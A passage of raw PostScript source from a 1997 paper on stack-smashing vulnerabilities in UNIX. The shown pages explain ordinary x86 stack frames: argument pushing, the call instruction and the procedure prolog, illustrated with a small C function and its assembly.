0.0000 0.0000 1.0000 SET_CMYK GS n 2993 9848 M (exiting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3506 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3632 9848 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4248 9848 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4411 9848 M (function, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5059 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5314 9848 M (procedure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6032 9848 M (prolog ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6518 9848 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6709 9848 M (epilog ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 9848 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1451 9572 M (called, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1978 9572 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2306 9572 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2957 9572 M (saving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3479 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3770 9572 M (previous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4431 9572 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5120 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5448 9572 M (allocating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6191 9572 M (space ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6649 9572 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6932 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7223 9572 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (variables; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1916 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2217 9296 M (vice-versa ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2963 9296 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3384 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3648 9296 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4263 9296 M (exits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4722 9296 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5042 9296 M (previous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5676 9296 M (FP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5923 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6095 9296 M (pushed, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6669 9296 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6804 9296 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7142 9296 M (FP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (created and SP operates with respect to its new local variables. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8744 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1807 8744 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2256 8744 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2511 8744 M (below ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2969 8744 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3335 8744 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3526 8744 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3735 8744 M (example, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4393 8744 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4685 8744 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4968 8744 M (gain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5306 8744 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5432 8744 M (better ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5863 8744 M (understanding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6857 8744 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7048 8744 M (typical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8468 M (stack behavior.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 8179 M 7523 8179 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8174 M 1181 8056 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8174 M 7519 8056 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 8072 M (void function\(int a, int b, int c\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8055 M 1181 7951 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8055 M 7519 7951 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7967 M ( char buffer1[5];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7950 M 1181 7846 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7950 M 7519 7846 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7862 M ( char buffer2[10];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7845 M 1181 7741 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7845 M 7519 7741 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7757 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7740 M 1181 7581 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7740 M 7519 7581 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7580 M 1181 7476 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7580 M 7519 7476 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7492 M (void main\(\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7475 M 1181 7371 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7475 M 7519 7371 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7387 M ( function\(1,2,3\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7370 M 1181 7266 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7370 M 7519 7266 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7282 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7265 M 1181 7092 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7265 M 7519 7092 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7086 M 7523 7086 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3778 6955 M (Stack Example 7.1.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6609 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2015 6609 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2313 6609 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2982 6609 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3631 6609 M (equivalent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4372 6609 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4560 6609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 4812 6609 M (function\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5812 6609 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5861 6609 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6150 6609 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6328 6609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6580 6609 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7026 6609 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 6609 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6333 M (translated to:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 6044 M 7523 6044 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6039 M 1181 5921 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6039 M 7519 5921 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 5937 M ( pushl $3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 5937 M (; push function\(\) argument 3) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5920 M 1181 5816 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5920 M 7519 5816 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5832 M ( pushl $2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 5832 M (; push function\(\) argument 2) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5815 M 1181 5711 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5815 M 7519 5711 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5727 M ( pushl $1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 5727 M (; push function\(\) argument 1) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5710 M 1181 5592 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5710 M 7519 5592 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5622 M ( call function) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 5622 M (; call function\(\) and push IP onto the stack) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5586 M 7523 5586 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2960 5455 M (Example 7.1.b - pushing arguments onto the stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 5026 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1556 5026 M (pushes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2066 5026 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2326 5026 M (3 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2466 5026 M (arguments ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3217 5026 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3403 5026 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4014 5026 M (backwards ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4783 5026 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5098 5026 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5358 5026 M (stack, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5799 5026 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6096 5026 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 6458 5026 M (function\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7458 5026 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4750 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1533 4750 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 2309 4750 M (call) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2709 4750 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2774 4750 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3097 4750 M (push ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3476 4750 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3744 4750 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4520 4750 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5056 4750 M (\(IP\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5382 4750 M (onto ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5742 4750 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6010 4750 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6501 4750 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6825 4750 M (first ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7159 4750 M (thing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4474 M (done in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1736 4474 M (function) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2400 4474 M ( is the procedure prolog:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 4102 M 7523 4102 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4097 M 1181 3979 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4097 M 7519 3979 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 3995 M (pushl %ebp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 3995 M (; push frame pointer onto stack) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3978 M 1181 3874 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3978 M 7519 3874 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3890 M (movl %esp,%ebp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 3890 M (; copy SP onto EBP, creating the new frame pointer \(FP\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3873 M 1181 3755 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3873 M 7519 3755 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3785 M (subl $20,%esp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3200 3785 M (; allocate space for local variables) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 3749 M 7523 3749 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3105 3618 M (Example 7.1.c - Linux x86 Procedure Prolog) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 3272 M (First, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1610 3272 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1874 3272 M (frame ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2325 3272 M (pointer, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2899 3272 M (EBP, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3308 3272 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3480 3272 M (pushed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4012 3272 M (onto ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4368 3272 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4632 3272 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5119 3272 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5439 3272 M (current ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5972 3272 M (SP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6219 3272 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6391 3272 M (then ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6738 3272 M (copied ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7242 3272 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2996 M (EBP, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1622 2996 M (making ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2186 2996 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2343 2996 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2611 2996 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2953 2996 M (FP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3204 2996 M (pointer. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3824 2996 M (Finally, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4402 2996 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 2996 M (prolog ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5169 2996 M (proceeds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5826 2996 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6020 2996 M (allocate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6602 2996 M (space ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 2996 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 2996 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2720 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1577 2720 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2220 2720 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2428 2720 M (subtracting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3209 2720 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3556 2720 M (size ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3857 2720 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4224 2720 M (SP, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4494 2720 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4550 2720 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4805 2720 M (Figure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5300 2720 M (7.1.c) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5624 2720 M (\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5806 2720 M (Memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6422 2720 M (addressing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 2720 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2444 M (work ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1623 2444 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1984 2444 M (multiples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2669 2444 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2874 2444 M (words, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3389 2444 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3695 2444 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3872 2444 M (why ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4224 2444 M (20 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4456 2444 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4633 2444 M (subtracted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5383 2444 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5774 2444 M (SP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6026 2444 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6221 2444 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6527 2444 M (example. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 2444 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2168 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1694 2168 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2063 2168 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2289 2168 M (example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2908 2168 M (7.1.c ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3287 2168 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3629 2168 M (5 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3767 2168 M (words ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4229 2168 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4479 2168 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4608 2168 M (total ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4958 2168 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5152 2168 M (20 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5373 2168 M (bytes, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5821 2168 M (taking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6291 2168 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6604 2168 M (consideration ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1892 M (the 4 byte Intel x86 CPU word size.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 1763 M 7523 1763 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1758 M 1181 1502 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1758 M 7519 1502 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR %%PageTrailer AXPageSave restore showpage %%Page: 15 15 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 10000 M 1181 5768 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 10000 M 7519 5768 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS GS 2820 10000 5880 5801 DOCLIPBOX n 2820 10000 M 5879 10000 L 5879 5802 L 2820 5802 L 2820 10000 L 5879 10000 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9986 M 5850 9986 L 5850 5817 L 2848 5817 L 2848 9986 L 5850 9986 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 28 setlinewidth 0.0000 